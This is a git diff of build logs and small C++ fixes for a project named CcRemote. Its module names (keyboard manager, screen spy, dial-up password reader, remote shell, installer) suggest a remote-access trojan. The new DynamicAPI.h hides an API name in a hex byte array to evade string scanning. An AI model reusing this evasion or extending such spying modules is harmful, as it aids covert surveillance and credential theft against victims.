note: 参见“gethostbyname”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(208): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(322): warning C4018: “>=”: 有符号/无符号不匹配 -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(401): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据 -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(456): warning C4018: “>=”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: “>=”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: “>=”: 有符号/无符号不匹配 Buffer.cpp until.cpp -f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决 - d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决 - d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决 + g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决 + g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 正在生成代码... +cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” + KernelManager.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(158): fatal error C1010: 在查找预编译头时遇到意外的文件结尾。是否忘记了向源中添加“#include "pch.h"”? dllmain.cpp - CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\Debug\CcMainDll.dll +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决 + g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(24): warning C4326: “main”的返回类型应为“int”而非“DWORD” +g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(65): error C2065: “NOT_CONNECT”: 未声明的标识符 +g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(69): error C2065: “NOT_CONNECT”: 未声明的标识符 +g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(69): error C2065: “HEARTBEATTIMEOUT_ERROR”: 未声明的标识符 +g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(100): error C2065: “CONNECT_ERROR”: 未声明的标识符 + 正在生成代码... diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate b/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate index bd1e4f2..03e57a1 100644 --- a/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate +++ b/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate @@ -1,2 +1,2 @@ #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 -Debug|Win32|F:\myapp\CcRemote\CcMainDll\| +Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\| diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/unsuccessfulbuild b/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/unsuccessfulbuild new file mode 100644 index 0000000..e69de29 diff --git a/CcMainDll/CcMainDll/DynamicAPI.h b/CcMainDll/CcMainDll/DynamicAPI.h new file mode 100644 index 0000000..8911e33 --- /dev/null +++ b/CcMainDll/CcMainDll/DynamicAPI.h @@ -0,0 +1,29 @@ +/* +typedef BOOL (WINAPI *CloseWindowT)(IN HWND hWnd); + +class DynamicAPI +{ +public: + CloseWindowT pCloseWindowT; + void init_user32(){ + pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),"CloseWindow"); + } +}; +*/ + +typedef BOOL (WINAPI* CloseWindowT)(IN HWND hWnd); + +class DynamicAPI +{ +public: + CloseWindowT pCloseWindowT; + void init_user32() + { + //char chTemp[]={0x43, 0x6C, 0x6F, 0x73, 0x65, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77,0}; + //pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),chTemp); + char chTemp[]={0x43, 0x6C, 0x6F, 0x73, 0x65, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0}; + //pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),"CloseWindow"); + pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),chTemp); + } + +}; diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log b/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log index 8608f75..aba0051 100644 --- a/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log +++ b/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log @@ -1,18 +1,28 @@ -f:\myapp\ccremote\ccmaindll\release\ccmaindll.ipdb -f:\myapp\ccremote\ccmaindll\release\ccmaindll.iobj -f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch -f:\myapp\ccremote\ccmaindll\ccmaindll\release\vc141.pdb -f:\myapp\ccremote\ccmaindll\ccmaindll\release\pch.obj -f:\myapp\ccremote\ccmaindll\ccmaindll\release\until.obj -f:\myapp\ccremote\ccmaindll\ccmaindll\release\buffer.obj -f:\myapp\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj -f:\myapp\ccremote\ccmaindll\ccmaindll\release\dllmain.obj -f:\myapp\ccremote\ccmaindll\release\ccmaindll.dll -f:\myapp\ccremote\ccmaindll\release\ccmaindll.pdb -f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\ccmaindll.write.1u.tlog -f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog -f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog -f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog -f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog -f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog -f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\vc141.pdb +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\pch.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\audio.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\until.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\regeditex.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\keyboardmanager.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\kernelmanager.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\buffer.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\videomanager.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\videocap.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\systemmanager.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\shellmanager.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\screenspy.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\screenmanager.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\manager.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\install.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\dialupass.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\audiomanager.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\filemanager.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\dllmain.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.log b/CcMainDll/CcMainDll/Release/CcMainDll.log index 7e60944..44009dc 100644 --- a/CcMainDll/CcMainDll/Release/CcMainDll.log +++ b/CcMainDll/CcMainDll/Release/CcMainDll.log @@ -1,24 +1,103 @@ - pch.cpp +cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” + pch.cpp +cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” + Audio.cpp +g:\ccremote\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配 +cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” ClientSocket.cpp -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(70): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(72): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(208): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(322): warning C4018: “>=”: 有符号/无符号不匹配 -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(401): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据 -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(456): warning C4018: “>=”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: “>=”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: “>=”: 有符号/无符号不匹配 Buffer.cpp + KernelManager.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配 + KeyboardManager.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配 + RegEditEx.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(8): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(99): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(113): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(140): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(110): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明 until.cpp -f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决 - d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决 - d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决 + g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决 + g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 +cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” + AudioManager.cpp + Dialupass.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决 + g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 + install.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明 + Manager.cpp + ScreenManager.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义 + g:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义 + ScreenSpy.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(363): warning C4018: “>”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(384): warning C4018: “<”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(403): warning C4018: “<”: 有符号/无符号不匹配 + ShellManager.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 + SystemManager.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(111): warning C4018: “<”: 有符号/无符号不匹配 + VideoCap.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(118): warning C4101: “gCapTureParms”: 未引用的局部变量 + VideoManager.cpp +cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” + FileManager.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出 +cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” dllmain.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决 + g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 +LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略 正在生成代码 - All 6 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值 + All 342 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. 已完成代码的生成 - CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\Release\CcMainDll.dll + CcMainDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Release\CcMainDll.dll diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.tlog/CcMainDll.lastbuildstate b/CcMainDll/CcMainDll/Release/CcMainDll.tlog/CcMainDll.lastbuildstate index 3f4a20c..fd0ad53 100644 --- a/CcMainDll/CcMainDll/Release/CcMainDll.tlog/CcMainDll.lastbuildstate +++ b/CcMainDll/CcMainDll/Release/CcMainDll.tlog/CcMainDll.lastbuildstate @@ -1,2 +1,2 @@ #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 -Release|Win32|F:\myapp\CcRemote\CcMainDll\| +Release|Win32|G:\CcRemote\CcRemote\CcMainDll\| diff --git a/CcMainDll/CcMainDll/common/AudioManager.cpp b/CcMainDll/CcMainDll/common/AudioManager.cpp index f47df0c..069bccf 100644 --- a/CcMainDll/CcMainDll/common/AudioManager.cpp +++ b/CcMainDll/CcMainDll/common/AudioManager.cpp @@ -1,7 +1,7 @@ // AudioManager.cpp: implementation of the CAudioManager class. // ////////////////////////////////////////////////////////////////////// - +#include "..\pch.h" #include "AudioManager.h" ////////////////////////////////////////////////////////////////////// diff --git a/CcMainDll/CcMainDll/common/AudioManager.h b/CcMainDll/CcMainDll/common/AudioManager.h index 208de2a..2936b18 100644 --- a/CcMainDll/CcMainDll/common/AudioManager.h +++ b/CcMainDll/CcMainDll/common/AudioManager.h @@ -10,7 +10,8 @@ #endif // _MSC_VER > 1000 #include "Manager.h" -#include "Audio.h" +#include "..\..\..\common\Audio.h" + class CAudioManager : public CManager { public: diff --git a/CcMainDll/CcMainDll/common/Dialupass.cpp b/CcMainDll/CcMainDll/common/Dialupass.cpp index 30f7754..e1e9143 100644 --- a/CcMainDll/CcMainDll/common/Dialupass.cpp +++ b/CcMainDll/CcMainDll/common/Dialupass.cpp @@ -1,6 +1,7 @@ // Dialupass.cpp: implementation of the CDialupass class. // ////////////////////////////////////////////////////////////////////// +#include "..\pch.h" #include "Dialupass.h" #include "until.h" ////////////////////////////////////////////////////////////////////// diff --git a/CcMainDll/CcMainDll/common/FileManager.cpp b/CcMainDll/CcMainDll/common/FileManager.cpp index 784a35d..a8f675f 100644 --- a/CcMainDll/CcMainDll/common/FileManager.cpp +++ b/CcMainDll/CcMainDll/common/FileManager.cpp @@ -199,7 +199,7 @@ bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd) char *lpstrCat = NULL; memset(strTemp, 0, sizeof(strTemp)); - char *lpExt = strrchr(lpFile, '.'); + const char *lpExt = strrchr(lpFile, '.'); if (!lpExt) return false; @@ -231,9 +231,10 @@ bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd) STARTUPINFO si = {0}; PROCESS_INFORMATION pi; + char local_lpDesktop[] = "WinSta0\\Default"; si.cb = sizeof si; if (nShowCmd != SW_HIDE) - si.lpDesktop = "WinSta0\\Default"; + si.lpDesktop = local_lpDesktop; CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi); } @@ -252,8 +253,8 @@ UINT CFileManager::SendDriveList() unsigned __int64 HDFreeSpace = 0; unsigned long AmntMB = 0; // ܴС unsigned long FreeMB = 0; // ʣռ - - for (DWORD dwOffset = 1; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1) + DWORD dwOffset = 0; + for (dwOffset = 1; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1) { memset(FileSystem, 0, sizeof(FileSystem)); // õļϵͳϢС @@ -540,7 +541,7 @@ bool CFileManager::FixedUploadList(LPCTSTR lpPathName) { WIN32_FIND_DATA wfd; char lpszFilter[MAX_PATH]; - char *lpszSlash = NULL; + const char *lpszSlash = NULL; memset(lpszFilter, 0, sizeof(lpszFilter)); if (lpPathName[lstrlen(lpPathName) - 1] != '\\') diff --git a/CcMainDll/CcMainDll/common/Manager.cpp b/CcMainDll/CcMainDll/common/Manager.cpp index 813a1ee..4088f71 100644 --- a/CcMainDll/CcMainDll/common/Manager.cpp +++ b/CcMainDll/CcMainDll/common/Manager.cpp @@ -3,7 +3,7 @@ ////////////////////////////////////////////////////////////////////// - +#include "..\pch.h" 